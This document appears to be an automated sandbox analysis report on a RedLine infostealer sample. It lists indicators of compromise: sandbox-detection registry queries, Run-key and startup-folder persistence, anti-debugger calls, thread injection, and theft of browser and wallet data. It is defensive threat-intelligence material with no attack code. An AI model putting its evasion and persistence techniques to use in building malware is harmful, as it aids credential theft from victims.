redline | 9bd142ecfe89857de80bb3255a1655f680ca6451b45cca235096dc1c1285e806

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6781030.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6781030.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	UH2rCx39mDnQ4ob77sW4j7b0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4415324.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	E0DC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	E9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	41E0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0P7C901GxxrrCq6G9SXjVMo8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0P7C901GxxrrCq6G9SXjVMo8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	fgrvOfrN7tEJnXVEHb2QBTV7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	fgrvOfrN7tEJnXVEHb2QBTV7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	AIuXWgSVwp4YhHmVIH4g9F9O.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	UH2rCx39mDnQ4ob77sW4j7b0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	vDFvTSLkY9KHF5YR8kBa437o.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4415324.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2252731.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2252731.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	41E0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Ul74UKBPgSuoE2iRtoDoiQHh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Ul74UKBPgSuoE2iRtoDoiQHh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	AIuXWgSVwp4YhHmVIH4g9F9O.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	vDFvTSLkY9KHF5YR8kBa437o.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	E0DC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	E9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	37DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	37DD.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MjpFiZVjH.exe	WerFault.exe

Loads dropped DLL 12 IoCs

pid	Process
1280	setup_install.exe
1280	setup_install.exe
1280	setup_install.exe
1280	setup_install.exe
1280	setup_install.exe
1280	setup_install.exe
5592	rundll32.exe
5908	rundll32.exe
5908	rundll32.exe
6872	rundll32.exe
6872	rundll32.exe
5368	37DD.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral4/files/0x000500000000771f-301.dat	themida
behavioral4/files/0x00070000000002fc-352.dat	themida
behavioral4/files/0x000600000000a3e4-353.dat	themida
behavioral4/files/0x00030000000155df-350.dat	themida
behavioral4/files/0x00030000000155dc-348.dat	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	4434337.scr

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 13 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6781030.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	UH2rCx39mDnQ4ob77sW4j7b0.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	0P7C901GxxrrCq6G9SXjVMo8.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4415324.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	E0DC.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Ul74UKBPgSuoE2iRtoDoiQHh.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	fgrvOfrN7tEJnXVEHb2QBTV7.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	vDFvTSLkY9KHF5YR8kBa437o.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	AIuXWgSVwp4YhHmVIH4g9F9O.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2252731.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	E9.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	37DD.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	41E0.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com
2	ipinfo.io
46	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 27 IoCs

pid	Process
5440	6781030.scr
1248	vDFvTSLkY9KHF5YR8kBa437o.exe
4400	0P7C901GxxrrCq6G9SXjVMo8.exe
4220	AIuXWgSVwp4YhHmVIH4g9F9O.exe
3292	Ul74UKBPgSuoE2iRtoDoiQHh.exe
5388	UH2rCx39mDnQ4ob77sW4j7b0.exe
5468	fgrvOfrN7tEJnXVEHb2QBTV7.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe
3908	4415324.scr
5528	2252731.scr
6548	E0DC.exe
7024	E9.exe
5368	37DD.exe
5648	41E0.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 1988 set thread context of 3300	1988	Sun159ff1acacf.exe	123
PID 5292 set thread context of 3572	5292	_eTbCCSBTc5Eh0p4iNwop2Al.exe	192
PID 5348 set thread context of 5800	5348	oVbCA6Ocv_bmi86kIF6_X9ud.exe	198
PID 5384 set thread context of 6008	5384	AQht4XZ6hHCr7UMLUDIpl7hg.exe	204
PID 6332 set thread context of 6696	6332	CF86.exe	250

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cm3.exe	G9qMoQFOFYl5YC3VO2pFQcFq.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe	G9qMoQFOFYl5YC3VO2pFQcFq.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst3.exe	G9qMoQFOFYl5YC3VO2pFQcFq.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	G9qMoQFOFYl5YC3VO2pFQcFq.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	G9qMoQFOFYl5YC3VO2pFQcFq.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File created	C:\Windows\System\svchost.exe	MjpFiZVjH.exe
File opened for modification	C:\Windows\System\svchost.exe	MjpFiZVjH.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp.tmp	WerFault.exe
File created	C:\Windows\System\xxx1.bak	MjpFiZVjH.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File created	C:\Windows\System\xxx1.bak	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 18 IoCs

pid	pid_target	Process	procid_target
4516	1200	WerFault.exe	114
1624	4304	WerFault.exe	109
5212	1548	WerFault.exe	110
5192	420	WerFault.exe	113
1416	5584	WerFault.exe	169
5316	3156	WerFault.exe	118
5984	2068	WerFault.exe	167
5676	1716	WerFault.exe	171
3308	5384	WerFault.exe	156
1044	5320	WerFault.exe	154
3144	2084	WerFault.exe	195
3188	6096	WerFault.exe	153
4196	6108	WerFault.exe	152
7104	6904	WerFault.exe	253
3304	6208	WerFault.exe	258
5492	5188	WerFault.exe	260
2472	5616	WerFault.exe	264
3828	3424	WerFault.exe	265

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CF86.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CF86.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	oVbCA6Ocv_bmi86kIF6_X9ud.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	oVbCA6Ocv_bmi86kIF6_X9ud.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	oVbCA6Ocv_bmi86kIF6_X9ud.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CF86.exe

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	37DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	2E47.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
3792	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
6444	timeout.exe

Enumerates system info in registry 2 TTPs 36 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5372	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
